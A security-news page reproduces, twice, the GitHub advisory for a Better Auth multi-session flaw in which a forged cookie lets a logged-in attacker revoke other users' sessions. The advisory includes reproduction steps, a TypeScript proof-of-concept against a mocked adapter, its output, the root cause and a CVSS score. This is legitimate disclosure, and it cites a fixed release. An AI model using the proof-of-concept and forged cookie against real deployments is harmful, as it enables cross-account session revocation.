Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-wmjr-v86c-m9jj: Better Auth's multi-session sign-out hook allows forged cookies to revoke arbitrary sessions

Summary

  • Vulnerable component: multi-session plugin’s /sign-out after-hook (packages/better-auth/src/plugins/multi-session/index.ts)
  • Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to internalAdapter.deleteSessions, allowing forged cookies to revoke arbitrary sessions.
  • Status: Reproduced locally with updated proof-of-concept.

Impact

Any authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger /sign-out. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.

Product / Version

  • Repository: better-auth
  • Branch: canary
  • Affected file: packages/better-auth/src/plugins/multi-session/index.ts (current head)
  • Dependency configuration: pnpm install, Bun runtime (bun v1.3.0)

Steps to Reproduce

  1. Clone the repository and install dependencies with pnpm install.
  2. Ensure Bun is installed.
  3. Save the proof-of-concept script below as PROOF_OF_CONCEPTS/multi_session/force-signout.ts.
  4. Run:
    bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts
    
  5. Observe the simulated adapter logging deletion of the attacker-chosen token.

Proof of Concept

Current PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):

import { multiSession } from "../../packages/better-auth/src/plugins/multi-session";
import type { AuthMiddleware } from "../../packages/core/src/api/index";

const plugin = multiSession();

const hook = plugin.hooks.after
  ?.slice()
  .reverse()
  .find((h) => h.matcher({ path: "/sign-out" } as any));

const deleteSessions = (tokenList: string[]) => {
  console.log("deleteSessions invoked with:", tokenList);
};

const ctx = {
  headers: new Headers({
    cookie: "better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake",
  }),
  context: {
    secret: "dummy-secret",
    authCookies: {
      sessionToken: {
        name: "better-auth.session_token",
        options: {},
      },
    },
    internalAdapter: {
      deleteSessions: deleteSessions,
    },
  },
  getSignedCookie: async (name: string) => {
    if (name.includes("_multi-")) {
      // simulate forged cookie appearing valid
      return "TARGETTOKEN";
    }
    return "my-valid-session";
  },
  setCookie: () => {},
  json: () => {},
} as unknown as Parameters<AuthMiddleware>[0];

if (!hook) {
  throw new Error("Sign-out hook not found");
}

(async () => {
  await hook.handler(ctx as any);
})();

PoC Output

deleteSessions invoked with: [ "TARGETTOKEN" ]

Screenshot 2025-11-12 at 5 32 52 PM

This shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.

Root Cause

The multi-session sign-out hook parses cookies with parseCookies(cookieHeader) and, for every key matching the _multi- naming pattern, sets a blank cookie response and splits the value on . to extract the token. No call to ctx.getSignedCookie or equivalent verification occurs before invoking ctx.context.internalAdapter.deleteSessions(...).

Severity / CVSS

  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
  • Rationale: Logged-in attacker, no user interaction, compromise propagates across users; integrity and availability impact are high due to remote session revocation.

This vulnerability was discovered by winfunc.

ghsa
#vulnerability#nodejs#js#git#auth

Summary

  • Vulnerable component: multi-session plugin’s /sign-out after-hook (packages/better-auth/src/plugins/multi-session/index.ts)
  • Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to internalAdapter.deleteSessions, allowing forged cookies to revoke arbitrary sessions.
  • Status: Reproduced locally with updated proof-of-concept.

Impact

Any authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger /sign-out. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.

Product / Version

  • Repository: better-auth
  • Branch: canary
  • Affected file: packages/better-auth/src/plugins/multi-session/index.ts (current head)
  • Dependency configuration: pnpm install, Bun runtime (bun v1.3.0)

Steps to Reproduce

  1. Clone the repository and install dependencies with pnpm install.

  2. Ensure Bun is installed.

  3. Save the proof-of-concept script below as PROOF_OF_CONCEPTS/multi_session/force-signout.ts.

  4. Run:

    bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts
    
  5. Observe the simulated adapter logging deletion of the attacker-chosen token.

Proof of Concept

Current PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):

import { multiSession } from "…/…/packages/better-auth/src/plugins/multi-session"; import type { AuthMiddleware } from "…/…/packages/core/src/api/index";

const plugin = multiSession();

const hook = plugin.hooks.after ?.slice() .reverse() .find((h) => h.matcher({ path: “/sign-out” } as any));

const deleteSessions = (tokenList: string[]) => { console.log("deleteSessions invoked with:", tokenList); };

const ctx = { headers: new Headers({ cookie: "better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake", }), context: { secret: "dummy-secret", authCookies: { sessionToken: { name: "better-auth.session_token", options: {}, }, }, internalAdapter: { deleteSessions: deleteSessions, }, }, getSignedCookie: async (name: string) => { if (name.includes("_multi-")) { // simulate forged cookie appearing valid return "TARGETTOKEN"; } return "my-valid-session"; }, setCookie: () => {}, json: () => {}, } as unknown as Parameters<AuthMiddleware>[0];

if (!hook) { throw new Error(“Sign-out hook not found”); }

(async () => { await hook.handler(ctx as any); })();

PoC Output

deleteSessions invoked with: [ "TARGETTOKEN" ]

This shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.

Root Cause

The multi-session sign-out hook parses cookies with parseCookies(cookieHeader) and, for every key matching the _multi- naming pattern, sets a blank cookie response and splits the value on . to extract the token. No call to ctx.getSignedCookie or equivalent verification occurs before invoking ctx.context.internalAdapter.deleteSessions(…).

Severity / CVSS

  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
  • Rationale: Logged-in attacker, no user interaction, compromise propagates across users; integrity and availability impact are high due to remote session revocation.

This vulnerability was discovered by winfunc.

References

  • GHSA-wmjr-v86c-m9jj
  • better-auth/better-auth@cfc453a
  • https://github.com/better-auth/better-auth/releases/tag/v1.4.0

ghsa: Latest News

GHSA-58c5-g7wp-6w37: Angular is Vulnerable to XSRF Token Leakage via Protocol-Relative URLs in Angular HTTP Client